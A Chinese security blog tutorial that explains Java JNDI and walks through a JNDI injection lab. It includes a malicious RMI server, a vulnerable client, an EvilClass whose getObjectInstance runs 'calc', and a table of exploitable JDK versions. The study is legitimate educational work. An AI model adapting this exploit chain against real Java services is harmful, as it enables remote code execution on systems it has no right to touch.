本文最后更新于:2023年9月1日 上午
                  
                
              
            
            
              
                
                [TOC]
【java安全】JNDI注入概述
什么是JNDI?
JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
命名服务将名称和对象联系起来,使得我们可以用名称访问对象
JDNI的结构
jndi的作用主要在于”定位”。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端:

有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
这些命名/目录服务提供者:
| 协议 | 作用 | 
| LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 | 
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 | 
| DNS | 域名服务 | 
| CORBA | 公共对象请求代理体系结构 | 
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
| 12
 3
 4
 5
 
 | javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
 javax.naming.event:在命名目录服务器中请求事件通知;
 javax.naming.ldap:提供LDAP支持;
 javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
 
 | 
InitialContext - 上下文
构造方法:
| 12
 3
 4
 5
 6
 
 | InitialContext()
 
 InitialContext(boolean lazy)
 
 InitialContext(Hashtable<?,?> environment)
 
 | 
常用方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | bind(Name name, Object obj)
 
 list(String name)
 
 lookup(String name)
 
 rebind(String name, Object obj)
 
 unbind(String name)
 
 | 
示例:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | import javax.naming.InitialContext;import javax.naming.NamingException;
 
 public class jndi {
 public static void main(String[] args) throws NamingException {
 
 InitialContext initialContext = new InitialContext();
 
 String uri = "rmi://127.0.0.1:1099/work";
 initialContext.lookup(uri);
 }
 }
 
 | 
Reference - 引用
Reference类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。
构造方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | Reference(String className)
 
 Reference(String className, RefAddr addr)
 
 Reference(String className, RefAddr addr, String factory, String factoryLocation)
 
 Reference(String className, String factory, String factoryLocation)
 
 
 
 
 
 
 
 
 | 
常用方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | void add(int posn, RefAddr addr)
 
 void add(RefAddr addr)
 
 void clear()
 
 RefAddr get(int posn)
 
 RefAddr get(String addrType)
 
 Enumeration<RefAddr> getAll()
 
 String getClassName()
 
 String getFactoryClassLocation()
 
 String getFactoryClassName()
 
 Object remove(int posn)
 
 int size()
 
 String toString()
 
 | 
示例:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
 import javax.naming.Reference;
 import java.rmi.AlreadyBoundException;
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class jndi {
 public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
 String url = "http://127.0.0.1:8080";
 Registry registry = LocateRegistry.createRegistry(1099);
 Reference reference = new Reference("test", "test", url);
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
 registry.bind("aa",referenceWrapper);
 }
 }
 
 | 
这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?
因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口
但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下
| 12
 3
 
 | public class Reference implements Cloneable, java.io.Serializable...
 public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference
 
 | 
JNDI注入
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
JNDI注入的过程如下:
- 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
- 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
- 既然要用到Factory,那么恶意类需要实现ObjectFactory接口
具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
| 协议 | JDK6 | JDK7 | JDK8 | JDK11 | 
| LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 | 
| RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 | 
JNDI & RMI
利用版本:
JDK 6u132、7u122、8u113之前可以
JNDI注入使用Reference
首先搭建一个服务端:RMIServer
服务端的创建,按步骤来
- 首先是注册中心
- 然后是恶意类所在地址
- 接着是创建Reference对象引用,绑定恶意类的地址
- 绑定Name
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
 import javax.naming.Reference;
 import java.rmi.AlreadyBoundException;
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class RMIServer {
 public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
 Registry registry = LocateRegistry.createRegistry(1099);
 String url = "http://127.0.0.1:1098/";
 Reference reference = new Reference("EvilClass", "EvilClass", url);
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
 registry.bind("class",referenceWrapper);
 }
 }
 
 | 
然后搭建一个客户端RMIClient(客户端也是受害端):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | import javax.naming.InitialContext;import javax.naming.NamingException;
 
 public class RMIClient {
 public static void main(String[] args) throws NamingException {
 InitialContext context = new InitialContext();
 String url = "rmi://127.0.0.1:1099/class";
 context.lookup(url);
 }
 }
 
 | 
然后需要创建一个恶意类:
实现ObjectFactory接口,把恶意代码写在getObjectInstance里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import javax.naming.Context;import javax.naming.Name;
 import javax.naming.spi.ObjectFactory;
 import java.io.IOException;
 import java.util.Hashtable;
 
 public class EvilClass implements ObjectFactory {
 static {
 System.out.println("hello,static~");
 }
 public EvilClass() throws IOException {
 System.out.println("constructor~");
 }
 
 @Override
 public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
 Runtime.getRuntime().exec("calc");
 System.out.println("hello,getObjectInstance~");
 return null;
 }
 }
 
 | 
搭建好了以后我们首先运行服务端:(注意jdk版本)

然后我们将EvilClass编译一下,使用python开启一个http服务:

接着我们运行客户端RMIClient:

我们发现已经成功执行代码了,并且是在客户端执行的
可以参考这张思维导图:
